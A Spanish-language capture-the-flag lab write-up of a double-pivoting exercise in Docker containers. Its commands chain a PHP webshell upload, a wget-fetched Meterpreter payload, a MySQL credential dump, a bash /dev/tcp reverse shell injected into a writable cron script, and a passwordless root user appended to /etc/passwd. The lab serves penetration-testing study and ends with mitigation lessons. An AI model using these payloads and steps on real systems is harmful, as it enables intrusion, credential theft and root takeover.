Lab 3 — File Upload + MySQL + Cron + Doble Pivoting
Estos laboratorios están montados en contenedores Docker configurados para ello.
El laboratorio más complejo de la serie. Tres redes completamente aisladas entre sí, requiriendo dos saltos de pivoting encadenados. Vectores utilizados: webshell PHP via file upload sin restricciones, extracción de credenciales desde MySQL interno, escalada por cron job escribible, y escritura en /etc/passwd en el servidor de producción final.
Topología del laboratorio
Reconocimiento + File Upload
Escaneo inicial de la Red A para descubrir el primer pivot.
nmap -sV -p 80,22 172.22.10.8
Directorio de uploads sin restricciones de extensión.
Enumeración de directorios para mapear la superficie de ataque.
gobuster dir -u http://172.22.10.8 \
-w /usr/share/wordlists/dirb/common.txt
# Resultado:
# /upload → formulario de subida
# /files/ → listado de archivos subidos
# /robots.txt → confirma /upload y /files/
El servidor acepta cualquier extensión incluyendo .php y los ejecuta como CGI. Subimos una webshell:
# webshell.php:
<?php system($_GET['cmd']); ?>
curl -F "[email protected]" http://172.22.10.8/upload
# Acceder con: http://172.22.10.8/files/webshell.php?cmd=id
uid=0(root) gid=0(root)
Reverse Shell → Meterpreter en PIVOT 1
# Generar payload:
msfvenom -p linux/x86/meterpreter/reverse_tcp \
LHOST=172.22.10.1 LPORT=4444 -f elf -o shell.elf
# Subir payload via webshell:
# 1. Servir desde Kali: python3 -m http.server 8080
# 2. Descargar en el pivot via RCE:
# ?cmd=wget http://172.22.10.1:8080/shell.elf -O /tmp/shell.elf
# 3. Ejecutar: ?cmd=chmod+x /tmp/shell.elf; /tmp/shell.elf &
# Listener en msfconsole:
use multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 172.22.10.1
set LPORT 4444
run
Autoroute Red B + Descubrimiento PIVOT 2
# En sesión Meterpreter 1:
run autoroute -s 172.22.20.0/24
run autoroute -p
background
use auxiliary/scanner/portscan/tcp
set RHOSTS 172.22.20.0/24
set PORTS 22,3306
set THREADS 1
run
Extracción de credenciales desde MySQL
Redirigimos el puerto MySQL del PIVOT 2 a un puerto local en Kali para conectar directamente con el cliente.
# En Meterpreter sesión 1:
portfwd add -l 13306 -p 3306 -r 172.22.20.20
# En Kali:
mysql -h 127.0.0.1 -P 13306 -u root
mysql> USE corp_db;
mysql> SELECT * FROM system_users;
dbadmin : Mysql@2024! (SSH a PIVOT2)
sysop : Pr0d_S3rv3r! (SSH a TARGET — Red C)
SSH a PIVOT 2 → Meterpreter + Cron Privesc
# SSH a PIVOT 2 con creds extraídas de MySQL:
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 172.22.20.20
set USERNAME dbadmin
set PASSWORD Mysql@2024!
run
sessions -i 2 # sesión SSH en PIVOT 2
Desde la sesión de dbadmin, enumeramos tareas cron en busca de vectores de escalada.
cat /etc/cron.d/*
# * * * * * root /opt/scripts/maintenance.sh
ls -la /opt/scripts/maintenance.sh
# -rwxrwxrwx ← escribible por todos
Vector de escalada confirmado.
Inyectamos una reverse shell en el script para recibirla cuando cron lo ejecute.
# Listener en Kali:
nc -lvnp 5555
# Inyectar en el script (desde sesión dbadmin):
echo 'bash -i >& /dev/tcp/172.22.10.1/5555 0>&1' \
>> /opt/scripts/maintenance.sh
# Esperar ~1 minuto hasta que cron ejecute el script
Loot crítico en /root/infra/prod_creds.txt:
prod-server01: 172.22.30.30, sysop : Pr0d_S3rv3r!
Nota: /etc/passwd escribible (legacy config)
Autoroute Red C + Acceso al TARGET
Generamos un segundo Meterpreter desde la shell de root de PIVOT 2 y añadimos la ruta hacia la Red C.
# Subir y ejecutar payload desde root en PIVOT 2:
wget http://172.22.10.1:8080/shell2.elf -O /tmp/shell2.elf
chmod +x /tmp/shell2.elf && /tmp/shell2.elf &
# En msfconsole — nueva sesión Meterpreter 3:
sessions -i 3
run autoroute -s 172.22.30.0/24
background
# Escanear Red C:
use auxiliary/scanner/portscan/tcp
set RHOSTS 172.22.30.0/24
set PORTS 22
set THREADS 1
run
Escalada via /etc/passwd + Flag
# Acceder al TARGET con credenciales de PIVOT 2:
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 172.22.30.30
set USERNAME sysop
set PASSWORD Pr0d_S3rv3r!
run
sessions -i 4
Desde la sesión de sysop verificamos el vector de escalada indicado en las notas del loot.
ls -la /etc/passwd
# -rw-rw-rw- ← escribible por todos
# Añadir usuario con UID 0 (root) sin password:
echo 'hacker::0:0:root:/root:/bin/bash' >> /etc/passwd
su hacker
whoami # root
cat /root/flag.txt
FLAG{d0ubl3_p1v0t_m4st3r_eJPT_c0mpl3t3!}
Conclusiones y aprendizajes
- Un servidor de subida de archivos sin validación de extensión es trivialmente explotable. La mitigación correcta requiere validar tanto el Content-Type como la extensión, y nunca ejecutar archivos subidos por usuarios.
- En el doble pivoting, Metasploit gestiona automáticamente el enrutamiento — con dos sesiones Meterpreter activas y dos entradas en autoroute, el tráfico hacia la Red C pasa transparentemente por PIVOT1 y PIVOT2.
- Las bases de datos MySQL en entornos de desarrollo frecuentemente almacenan credenciales en texto plano. Un root sin password en MySQL es suficiente para leer toda la información sensible.
- Los cron jobs con scripts escribibles son uno de los vectores de privesc más comunes en entornos reales mal configurados. Siempre revisar
/etc/cron.d/y los permisos de los scripts referenciados. - Un
/etc/passwdescribible permite añadir directamente un usuario con UID 0 sin necesidad de contraseña, otorgando acceso root inmediato. - Documentar credenciales encontradas en cada etapa es crítico — en este lab, las credenciales del TARGET estaban en el PIVOT2, y sin haberlas leído habría sido necesario reiniciar el reconocimiento.
Volver a CTF & Labs.